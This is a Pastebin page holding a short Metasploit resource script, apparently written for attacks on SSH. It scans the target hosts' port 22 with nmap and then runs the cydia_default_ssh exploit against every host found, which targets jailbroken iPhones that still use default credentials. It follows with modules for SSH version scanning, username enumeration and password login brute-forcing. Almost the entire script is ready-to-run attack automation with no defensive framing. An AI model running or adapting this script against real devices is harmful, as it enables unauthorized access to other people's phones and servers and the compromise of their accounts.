r00t-3xp10it

ssh2.rc

Oct 6th, 2016
261
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 1.15 KB | None | 0 0
  1. <ruby>
  2. print_line("")
  3. print_status("Please wait, checking if RHOSTS are set globally...")
  4. if (framework.datastore['RHOSTS'] == nil)
  5. print_error("[ERROR] Please set RHOSTS globally: setg RHOSTS xxx.xxx.xxx.xxx")
  6. return
  7. end
  8.  
  9. # Using nmap to populate metasploit database
  10. print_good("RHOSTS set globally [ OK ] running scans...")
  11. run_single("nmap -sS -T2 -Pn --reason --script banner.nse,sshv1.nse,ssh-hostkey.nse,ssh2-enum-algos.nse,dns-brute.nse,ip-geolocation-geoplugin.nse -p 22 #{framework.datastore['RHOSTS']}")
  12. print_line("")
  13.  
  14.   # Check/brute-force SSH ios_cydia vulnerability...
  15.   print_good("Please wait, exploiting ios_cydia_default_ssh vulnerability")
  16.   print_warning("iPhone needs to be jailbroken and default credentials active")
  17.     framework.db.hosts.each do |host|
  18.       run_single("use exploit/apple_ios/ssh/cydia_default_ssh")
  19.       run_single("set RHOST #{host.address}")
  20.       run_single("exploit")
  21.     end
  22.   print_line("")
  23.   print_good("Please wait, running msf auxiliary modules...")
  24. </ruby>
  25.  
  26. use auxiliary/scanner/ssh/ssh_version
  27. run
  28. use auxiliary/scanner/ssh/ssh_enumusers
  29. run
  30. use auxiliary/scanner/ssh/ssh_login
  31. show options
Advertisement
Add Comment
Please, Sign In to add comment